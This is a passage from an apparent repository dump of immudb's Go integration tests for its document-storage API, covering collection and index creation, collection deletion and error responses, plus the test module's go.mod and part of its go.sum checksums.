\"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameIdFieldNameAndOneField() {\n\tcollection := actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(2)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(1).Object().Value(\"name\").IsEqual(\"hire_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"emp_no\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameOneFieldAndOneUniqueIndex() {\n\tcollection := actions.CreateCollectionWithNameOneFieldAndOneUniqueIndex(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(2)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(1).Object().Value(\"name\").IsEqual(\"id_number\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(2)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(1).Object().Value(\"fields\").Array().Value(0).IsEqual(\"id_number\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(1).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleFields() {\n\tcollection := actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(6)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(1).Object().Value(\"name\").IsEqual(\"birth_date\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(2).Object().Value(\"name\").IsEqual(\"first_name\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(3).Object().Value(\"name\").IsEqual(\"last_name\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(4).Object().Value(\"name\").IsEqual(\"gender\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(5).Object().Value(\"name\").IsEqual(\"hire_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(1)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsAndMultipleIndexes() {\n\tcollection := actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"documentIdFieldName\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Length().IsEqual(6)\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(0).Object().Value(\"name\").IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(1).Object().Value(\"name\").IsEqual(\"birth_date\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(2).Object().Value(\"name\").IsEqual(\"first_name\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(3).Object().Value(\"name\").IsEqual(\"last_name\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(4).Object().Value(\"name\").IsEqual(\"gender\")\n\tcollection.Value(\"collection\").Object().Value(\"fields\").Array().Value(5).Object().Value(\"name\").IsEqual(\"hire_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Length().IsEqual(2)\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"fields\").Array().Value(0).IsEqual(\"_id\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(0).Object().Value(\"isUnique\").Boolean().IsTrue()\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(1).Object().Value(\"fields\").Array().Value(0).IsEqual(\"birth_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(1).Object().Value(\"fields\").Array().Value(1).IsEqual(\"last_name\")\n\tcollection.Value(\"collection\").Object().Value(\"indexes\").Array().Value(1).Object().Value(\"isUnique\").Boolean().IsTrue()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() {\n\tpayload := map[string]interface{}{}\n\n\ts.expect.POST(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().IsEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidField() {\n\tname := \"a\" + uuid.New().String()\n\tpayload := map[string]interface{}{\n\t\t\"fields\": \"birth_date\",\n\t}\n\n\ts.expect.POST(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusBadRequest).JSON().Object().NotEmpty()\n\n\ts.expect.GET(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).\n\t\tJSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyField() {\n\tname := \"a\" + uuid.New().String()\n\tpayload := map[string]interface{}{\n\t\t\"fields\": \"\",\n\t}\n\n\ts.expect.POST(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusBadRequest).JSON().Object().NotEmpty()\n\n\ts.expect.GET(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).\n\t\tJSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() {\n\tname := \"a\" + uuid.New().String()\n\n\ts.expect.POST(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().IsEmpty()\n\n\ts.expect.POST(fmt.Sprintf(\"/collection/%s\", name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object().NotEmpty()\n\n\tcollections := s.expect.GET(\"/collections\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.sessionID).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object()\n\n\tcollectionsFound := collections.Value(\"collections\").Array().FindAll(func(index int, value *httpexpect.Value) bool {\n\t\treturn value.Object().Value(\"name\").Raw() == name\n\t})\n\n\tassert.Equal(s.T(), len(collectionsFound), 1)\n}\n\nfunc TestCreateCollectionsSuite(t *testing.T) {\n\tsuite.Run(t, new(CreateCollectionsTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/create_indexes_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions\"\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype IndexTestSuite struct {\n\tsuite.Suite\n\texpect          *httpexpect.Expect\n\tsessionID       string\n\tcollection_name string\n}\n\nfunc (s *IndexTestSuite) SetupTest() {\n\ts.expect, s.sessionID = actions.OpenSession(s.T())\n\ts.collection_name = \"a\" + uuid.New().String()\n}\n\nfunc (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameAndOneField() {\n\tactions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name)\n\n\tpayload := models.CreateIndex{\n\t\tFields: []string{\"first_name\"},\n\t}\n\n\tactions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload)\n\n\tcollection := actions.GetCollection(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\n\tvar employees models.Collection\n\n\tcollection.Value(\"collection\").Object().Decode(&employees)\n\n\tassert.Equal(s.T(), employees.Name, s.collection_name)\n\tassert.Equal(s.T(), employees.DocumentIdFieldName, \"_id\")\n\tassert.Equal(s.T(), len(employees.Fields), 2)\n\tassert.Equal(s.T(), employees.Fields[0].Name, \"_id\")\n\tassert.Equal(s.T(), employees.Fields[1].Name, \"first_name\")\n\tassert.Equal(s.T(), len(employees.Indexes), 2)\n\tassert.Equal(s.T(), employees.Indexes[0].Fields[0], \"_id\")\n\tassert.Equal(s.T(), employees.Indexes[0].IsUnique, true)\n\tassert.Equal(s.T(), employees.Indexes[1].Fields[0], \"first_name\")\n}\n\nfunc (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameIdFieldNameAndOneField() {\n\tactions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name)\n\n\tpayload := models.CreateIndex{\n\t\tFields: []string{\"hire_date\"},\n\t}\n\n\tactions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload)\n\n\tcollection := actions.GetCollection(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\n\tvar employees models.Collection\n\n\tcollection.Value(\"collection\").Object().Decode(&employees)\n\n\tassert.Equal(s.T(), employees.Name, s.collection_name)\n\tassert.Equal(s.T(), employees.DocumentIdFieldName, \"emp_no\")\n\tassert.Equal(s.T(), len(employees.Fields), 2)\n\tassert.Equal(s.T(), employees.Fields[0].Name, \"emp_no\")\n\tassert.Equal(s.T(), employees.Fields[1].Name, \"hire_date\")\n\tassert.Equal(s.T(), len(employees.Indexes), 2)\n\tassert.Equal(s.T(), employees.Indexes[0].Fields[0], \"emp_no\")\n\tassert.Equal(s.T(), employees.Indexes[1].Fields[0], \"hire_date\")\n}\n\nfunc (s *IndexTestSuite) TestCreateUniqueIndexOnCollectionCreatedWithNameAndMultipleFields() {\n\tactions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name)\n\n\tpayload := models.CreateIndex{\n\t\tFields:   []string{\"gender\"},\n\t\tIsUnique: true,\n\t}\n\n\tactions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload)\n\n\tcollection := actions.GetCollection(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\n\tvar employees models.Collection\n\n\tcollection.Value(\"collection\").Object().Decode(&employees)\n\n\tassert.Equal(s.T(), employees.Name, s.collection_name)\n\tassert.Equal(s.T(), employees.DocumentIdFieldName, \"_id\")\n\tassert.Equal(s.T(), len(employees.Fields), 6)\n\tassert.Equal(s.T(), employees.Fields[0].Name, \"_id\")\n\tassert.Equal(s.T(), employees.Fields[1].Name, \"birth_date\")\n\tassert.Equal(s.T(), employees.Fields[2].Name, \"first_name\")\n\tassert.Equal(s.T(), employees.Fields[3].Name, \"last_name\")\n\tassert.Equal(s.T(), employees.Fields[4].Name, \"gender\")\n\tassert.Equal(s.T(), employees.Fields[5].Name, \"hire_date\")\n\tassert.Equal(s.T(), len(employees.Indexes), 2)\n\tassert.Equal(s.T(), employees.Indexes[0].Fields[0], \"_id\")\n\tassert.Equal(s.T(), employees.Indexes[0].IsUnique, true)\n\tassert.Equal(s.T(), employees.Indexes[1].Fields[0], \"gender\")\n\tassert.Equal(s.T(), employees.Indexes[1].IsUnique, true)\n}\n\nfunc (s *IndexTestSuite) TestCreateUniqueIndexesOnCollectionCreatedWithNameMultipleFieldsAndMultipleIndexes() {\n\tactions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name)\n\n\tpayload := models.CreateIndex{\n\t\tFields:   []string{\"gender\", \"hire_date\"},\n\t\tIsUnique: true,\n\t}\n\n\tactions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload)\n\n\tcollection := actions.GetCollection(s.expect, s.sessionID, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Keys().ContainsOnly(\"name\", \"documentIdFieldName\", \"fields\", \"indexes\")\n\n\tvar employees models.Collection\n\n\tcollection.Value(\"collection\").Object().Decode(&employees)\n\n\tassert.Equal(s.T(), employees.Name, s.collection_name)\n\tassert.Equal(s.T(), employees.DocumentIdFieldName, \"_id\")\n\tassert.Equal(s.T(), len(employees.Fields), 6)\n\tassert.Equal(s.T(), employees.Fields[0].Name, \"_id\")\n\tassert.Equal(s.T(), employees.Fields[1].Name, \"birth_date\")\n\tassert.Equal(s.T(), employees.Fields[2].Name, \"first_name\")\n\tassert.Equal(s.T(), employees.Fields[3].Name, \"last_name\")\n\tassert.Equal(s.T(), employees.Fields[4].Name, \"gender\")\n\tassert.Equal(s.T(), employees.Fields[5].Name, \"hire_date\")\n\tassert.Equal(s.T(), len(employees.Indexes), 3)\n\tassert.Equal(s.T(), employees.Indexes[0].Fields[0], \"_id\")\n\tassert.Equal(s.T(), employees.Indexes[0].IsUnique, true)\n\tassert.Equal(s.T(), employees.Indexes[1].Fields[0], \"birth_date\")\n\tassert.Equal(s.T(), employees.Indexes[1].Fields[1], \"last_name\")\n\tassert.Equal(s.T(), employees.Indexes[1].IsUnique, true)\n\tassert.Equal(s.T(), employees.Indexes[2].Fields[0], \"gender\")\n\tassert.Equal(s.T(), employees.Indexes[2].Fields[1], \"hire_date\")\n\tassert.Equal(s.T(), employees.Indexes[2].IsUnique, true)\n}\n\nfunc TestIndexTestSuite(t *testing.T) {\n\tsuite.Run(t, new(IndexTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/delete_collections_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype DeleteCollectionsTestSuite struct {\n\tsuite.Suite\n\texpect          *httpexpect.Expect\n\ttoken           string\n\tcollection_name string\n}\n\nfunc (s *DeleteCollectionsTestSuite) SetupTest() {\n\ts.expect, s.token = actions.OpenSession(s.T())\n\ts.collection_name = \"a\" + uuid.New().String()\n}\n\nfunc (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() {\n\tactions.CreateCollectionWithName(s.expect, s.token, s.collection_name)\n\n\ts.expect.DELETE(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object().IsEmpty()\n\n\ts.expect.GET(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError)\n}\n\nfunc (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneField() {\n\tactions.CreateCollectionWithNameAndOneField(s.expect, s.token, s.collection_name)\n\n\ts.expect.DELETE(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object().Empty()\n\n\ts.expect.GET(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError)\n}\n\nfunc (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleFields() {\n\tactions.CreateCollectionWithNameAndMultipleFields(s.expect, s.token, s.collection_name)\n\n\ts.expect.DELETE(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object().Empty()\n\n\ts.expect.GET(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError)\n}\n\nfunc (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() {\n\terror := s.expect.DELETE(fmt.Sprintf(\"/collection/%s\", s.collection_name)).\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).\n\t\tJSON().Object()\n\n\terror.Keys().ContainsAll(\"code\", \"error\", \"message\")\n\terror.Value(\"code\").IsEqual(2)\n\terror.Value(\"error\").IsEqual(\"collection does not exist\")\n\terror.Value(\"message\").IsEqual(\"collection does not exist\")\n}\n\nfunc TestDeleteCollectionsTestSuite(t *testing.T) {\n\tsuite.Run(t, new(DeleteCollectionsTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/go.mod",
    "content": "module github.com/codenotary/immudb/test/document_storage_tests/documents_tests\n\ngo 1.24.0\n\nrequire (\n\tgithub.com/google/uuid v1.3.0\n\tgithub.com/stretchr/testify v1.8.2\n)\n\nrequire (\n\tgithub.com/ajg/form v1.5.1 // indirect\n\tgithub.com/andybalholm/brotli v1.0.4 // indirect\n\tgithub.com/fatih/color v1.13.0 // indirect\n\tgithub.com/fatih/structs v1.1.0 // indirect\n\tgithub.com/gobwas/glob v0.2.3 // indirect\n\tgithub.com/google/go-querystring v1.1.0 // indirect\n\tgithub.com/gorilla/websocket v1.4.2 // indirect\n\tgithub.com/hpcloud/tail v1.0.0 // indirect\n\tgithub.com/imkira/go-interpol v1.1.0 // indirect\n\tgithub.com/klauspost/compress v1.15.0 // indirect\n\tgithub.com/kr/pretty v0.1.0 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.17 // indirect\n\tgithub.com/mitchellh/go-wordwrap v1.0.1 // indirect\n\tgithub.com/sanity-io/litter v1.5.5 // indirect\n\tgithub.com/sergi/go-diff v1.0.0 // indirect\n\tgithub.com/valyala/bytebufferpool v1.0.0 // indirect\n\tgithub.com/valyala/fasthttp v1.34.0 // indirect\n\tgithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect\n\tgithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect\n\tgithub.com/xeipuuv/gojsonschema v1.2.0 // indirect\n\tgithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect\n\tgithub.com/yudai/gojsondiff v1.0.0 // indirect\n\tgithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect\n\tgolang.org/x/net v0.50.0 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tgopkg.in/fsnotify.v1 v1.4.7 // indirect\n\tgopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect\n\tmoul.io/http2curl/v2 v2.3.0 // indirect\n)\n\nrequire (\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/gavv/httpexpect/v2 v2.15.0\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests/go.sum",
    "content": "github.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU=\ngithub.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY=\ngithub.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY=\ngithub.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig=\ngithub.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=\ngithub.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=\ngithub.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo=\ngithub.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=\ngithub.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs=\ngithub.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc=\ngithub.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=\ngithub.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=\ngithub.com/google/go-cmp v0.5.2 h1:X2ev0eStA3AbceY54o37/0PQ/UWqKEiiO2dKL5OPaFM=\ngithub.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=\ngithub.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=\ngithub.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=\ngithub.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=\ngithub.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=\ngithub.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=\ngithub.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=\ngithub.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk=\ngithub.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA=\ngithub.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U=\ngithub.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=\ngithub.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.12/go.mod 